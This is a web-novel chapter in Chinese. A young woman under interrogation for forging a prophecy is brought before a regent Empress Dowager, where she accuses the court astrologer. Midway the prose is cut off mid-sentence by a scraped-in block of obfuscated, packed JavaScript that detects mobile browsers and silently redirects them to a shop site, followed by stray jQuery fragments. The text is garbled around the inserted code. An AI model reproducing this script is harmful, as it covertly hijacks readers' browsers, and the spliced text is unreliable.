7. 第 7 章

作品:《女博士她权倾朝野

    两名狱吏走进,架起卫桐往外带。众人穿过阴暗潮湿的石壁走廊,起先还有壁上几朵火苗照明,左拐右拐之后,竟只能靠方寸窗口外溜入的月光引路了。他们似乎把她带到了一个极为隐蔽的地方审讯。


    卫桐跟着杜见琛的步子走得极快,不是说今日是什么大日子,这样的大人物根本无暇顾及她这样的小蜉蝣吗?现在却像脚底抹了油一般,步子溜得飞快,莫不是今日发生了什么大事,令他不得不着急忙慌地来审问她?


    杜见琛突然在一石壁前停下步子,抬起右掌往石壁右上角使力按压,顷刻间,石壁化为一厚重的石板往里推开了,其后竟然是一方狭小的暗室。大概是许久无人到访的缘故,石门开合之际激起了不少岩灰,呛得卫桐不得不以衣袖遮掩口鼻。


    而这般重的灰石粒,却几乎不能在杜见琛面前吸引走一丁点目光。他让两名狱吏看守在石门外,自己引卫桐入室,脊背挺直,头颅板正,毫不因岩灰偏移。一路走向审讯台落座,将惊堂木重重拍在案上,激起更多尘灰,冷声问:“秦郡卫氏,闻你近日在落于北地的陨石上刻下过‘妖女醒,天下乱’的谶言,是否属实?”


    卫桐没有丝毫犹豫,直接回道:“确有此事。”


    杜见琛横眉直跳,再一次重拍惊堂木:“谁指使你这么做的?上苍降天启,岂是你能够染指的,更何况伪造天下乱谶言,难逃谋反之嫌,你究竟受何人指使,速速如实招来!”


    “无人指使,刻谶一事只是民女自发行为,与旁人无关。”卫桐梗直脖颈回道。


    “无人指使?”杜见琛偏过头去,面上布满阴鸷的冷笑,声色陡然增寒:“你一个女子,若不是受人指使,在那陨石上造谶于你有何益,难不成你还想参与朝政吗?你最好是想清楚了再回答,毕竟你现在每一分话语,都与你那刺史爹有关。”


    杜见琛语含威胁,面露不善,本以为此番带着威胁意味的话语能令台下女子动容,谁知她开口却是:“民女每一句话都是经过深思熟虑以后才给的大人答复,纵然大人认为朝政非女子事也,可造谶的事实就是我一人所为,与他人无关。”


    “好一个执拗的姑娘。”杜见琛大手一拍桌案,猛地蹭起身道:“我倒要看看是你的嘴更硬,还是我这廷尉狱中的烙铁更硬!”


    说罢,杜见琛已快步走至卫桐面前,提起她的衣领就要往石门外拽。


    外头候着的两名狱吏听闻石板响动,忙转过头去瞧,他们的杜大人正提着那女子的衣领把她拽出来,直接甩手交给了他们。卫桐一时没站稳,不免踉跄几分,又听杜见琛吩咐道:“将这女子带下去行刑,什么时候招了,再带过来见我。”


    卫桐忙道:“大人对我行刑,无非是不信任我,可此事事关太后,民女所言绝对非虚。若大人执意要对我用刑,何不先问过太后的意思,若把我打坏了太后怪罪下来,遭罪的不还是您吗?”


    正欲抽身离开的杜见琛闻言,一时怔在了原地,他缓缓转过头问:“你怎知此事与太后相关?”


    “报——”一声悠远的男生从不远的石廊处回响传来,听着像是故意延长,又因气息不足而发着颤。石廊拐角处有跑步声哒哒哒地传来,是又一位狱吏气喘吁吁地快步跑来。


    狱吏停步,稳了两口气息后才对杜见琛行礼道:“杜大人,太后传来急讯,说,她要亲审这秦郡女子。让您明早亲自把她送进宫去,不得从司马门过。”


    杜见琛听完,眼眶里的不可置信几乎要盛不下了,他眼睑微合,侧过身去瞧这除了容貌出众无任何特殊的女子,神色里尽是惊涛骇浪。


    神色是一方面,他还是只得吩咐狱吏将卫桐送回去,明日再做打算。


    卫桐心里顿时安心了许多,但方才那一赌,还是不免让她现在往回走的步子有些漂浮。她其实根本就不知道她刻谶一事于太后是否知晓,只是因那杜见琛是太后的面首,今日又因着什么大事突然夜里回廷尉府审讯她这一遭,便不免串联起来了。虽是如此,猜测始终是猜测,只是她恰好气运到了赌对了。话说这太后动作如此之快倒也是件好事,至少证明,这位太后在这一点上真的如前生传言一般,心思缜密,雷厉风行。


    ……


    第二日,阳光透过小铁栅栏窗户跑到卫桐的面庞上去,在这阴湿牢狱的环境下,若调皮的小虫,引起肌肤阵阵瘙痒。卫桐被动早早地就醒了过来,计划行至这一步,只差见到这位传闻中的摄政太后了。可不如她预想的一般,杜见琛并没有一大清早就来,反而是临进中午时才姗姗来迟。


    狱吏将她带出去的时候,杜见琛正满面愁容的等在外面,焦急地踱着步子,见卫桐出来了,不发一言,直接拽上车去,不及她反应过来,她所乘的这辆牛车已经动了起来。而杜见琛则骑着马匹在前,领着她往皇宫的侧面去。


    沈太后此时正身处南宫,与两位藩王及太史令孙峥争论不休。南宫有众多宫人女官随侍其间,却因女官掌宫廷事务,不摄前朝政事,始终只能让太后一人与多张嘴对峙,不能发一言。


    因着是有关家国兴亡的极凶预言,八王中无心政事的闲散王爷也不得不到场,以共同探究对策。今日梁王仍然持昨日的观点,认为应当采纳太史令的建议,增援北地边防。但不同的是,今日又多加了一人——同样镇藩北地的燕王。而柳明彻则坐在最末处,面容恬静,端起宫中茶盏抿了一口又一口,始终不发一言,似此间繁杂诸事,皆与此人无关。


    太史令孙峥今日的执拗比之昨日更甚,他扬言道:“此灾祸意指北方,恳请皇太后陛下加强边防,今之视灾,比之昨日更甚,错过了最佳时机,便应尽力补救才是啊陛下!”


    孙峥一副字字诚恳的模样,面上沟壑随其主人情绪扭动,大有不达目的誓不罢休的架势。


    北地燕王在此刻拱火,朝太后作揖道:“皇太后陛下,臣自北方边地而来,近日里那北夷国时不时派出几队骑兵骚扰边境,劫掠我燕地财货人口,恐其正阴谋计划着什么,而今已经蠢蠢欲动。”


    沈太后扶额,以模棱两可的语言周旋其中,时不时望向门外,最后才语含怒意地回应:“朝廷并未收到北夷国近日里有何异动的情报,仅凭那所谓天象与陨石,怎可突然调动南北军!”


    孙峥仍然坚持不懈,言有不甘:“可先帝遗诏曾言,我大楚乃承天命而生的王朝,当时时刻刻以天象启示为戒,方为正道。先帝托微臣辅佐新帝,只是新帝年幼,由太后您临朝摄政,臣等面见新帝无门。可您不遵先帝遗诏,莫不是要违皇意,逆天命?”


    一旁默然无话的柳明彻闻言,垂首视地的瞳孔都有一瞬张大,这几人可真是兵行险招,行为已至逼宫的境地。他像是在看好戏一般,白皙俊脸含笑微偏,看那人会做何反应。


    果不其然,那人


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991469|193730||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    径直将手中奏章掷向孙峥,声调因暴怒而尖锐:“你放肆!”


    沈太后虽是深宫中养尊处优的女子,但方才掷奏章却是铆足了劲,准确无误地砸在了孙峥的额角,他吃痛惊呼,伸出手去抚摸那被砸的额角,竟然略微濡湿,隐隐渗出些血丝来。


    他有些不敢相信,沈太后竟然会有如此失态的一面。而他身旁的那些藩王,个个鸦雀无声,甚至面露不自然的惧色,合着就他一个人是最触怒太后的。


    而此时正有轻重不一的脚步声从外间传来,宫人在外大声通报,众人便知是杜廷尉带着那秦郡陨石女子到来了。


    杜见琛依次行过礼后,朝仍然怒火占据美颜的太后道:“皇太后陛下,秦郡刺史之女卫氏已带至。”


    沈太后朝他点头,后把目光转向卫桐,开口问:“秦郡卫氏,传言说你刻下了‘妖女醒,天下乱’的谶言,你倒是说说,此谶言从何得来,朕倒是要听听比之太史令所言荧惑守心如何。”


    她的目色瞥过躬身的孙峥,迸发出一瞬锐利的寒光,被卫桐巧妙地捕捉到,于是她便顺着说下去:“回禀皇太后陛下,此谶言乃民女依天启自行造谶,无其他来处。”


    南宫众人瞬间躁动不已,按此女所言,即是天下将乱的天启是由她预知,一个无权解释天命的女子,谁知是她自己擅自伪造图谶,还是别有用心。但无论如何,平头百姓擅造谶言逃不开重罪,她怎么敢如此坦荡的便说出来了。


    梁王勃然大怒,怒斥道:“大胆刁民,竟敢意有所指的伪造谶言,如今太后临朝称制,妖女二字莫不是意指太后不成?”


    沈太后却并无怒气,甚至面色比起方才还和缓了些,她抬手示意:“梁王,稍安勿躁,朕要听她继续说。”


    “上苍天启确实启示北方或许会有灾祸,可荧惑守心一说却是太过,太史令大人应当也熟悉,这毕竟不是他第一次如此夸大其词了。”


    卫桐颔首,继续说道:“太史令孙大人,民女自小随父回京述职时,曾有过一面之缘,家父与他并无深交,但亦知其乃前太史令之子。后来孙大人举荐家父至秦郡,理由是家父命中属水,北地干旱,只有家父去,才能润泽北地,使其繁荣兴盛。”


    “可……”卫桐顿了顿,话锋一转:“家父去到秦郡以后,便再也没有回京述职过,这于刺史而言,着实反常。且此去经年,秦郡一如既往干旱,还时不时面临北夷军骚扰,家父拼尽全力仍不可改变现状,与孙大人所言并不能对上。而民女自小钻研天文历学,一日夜晚观天象时察觉异象,又有陨石落北方,关系北境边事,但并不是荧惑守心。”


    孙峥不能忍受这女子不断说出于自己不利的话,打断道:“北地自前朝起一直不稳,当有命中属水之人长期镇守,你个妇人懂什么!”


    话音传进高座之上,沈太后本在细细聆听卫桐陈词,略无波澜的神情却突然发生细微的抽动,置于案下的五指紧缩。


    卫桐一面说着,情绪越发激动起来,忽地俯身朝太后跪拜道:“民女之所以造谶,只因若不借家国有关谶言造势,便无法至京。恳请太后彻查太史令,若其人才学为虚,请予家父一回京机会,民女拜谢!”


    孙峥捂着额头,已经气得双目迷离,身躯时不时打着晃。他的面色已经扭曲的不成样子,仍抬手愤而指责卫桐:“跋扈小民而已,可知越级控告朝廷命官乃大罪!”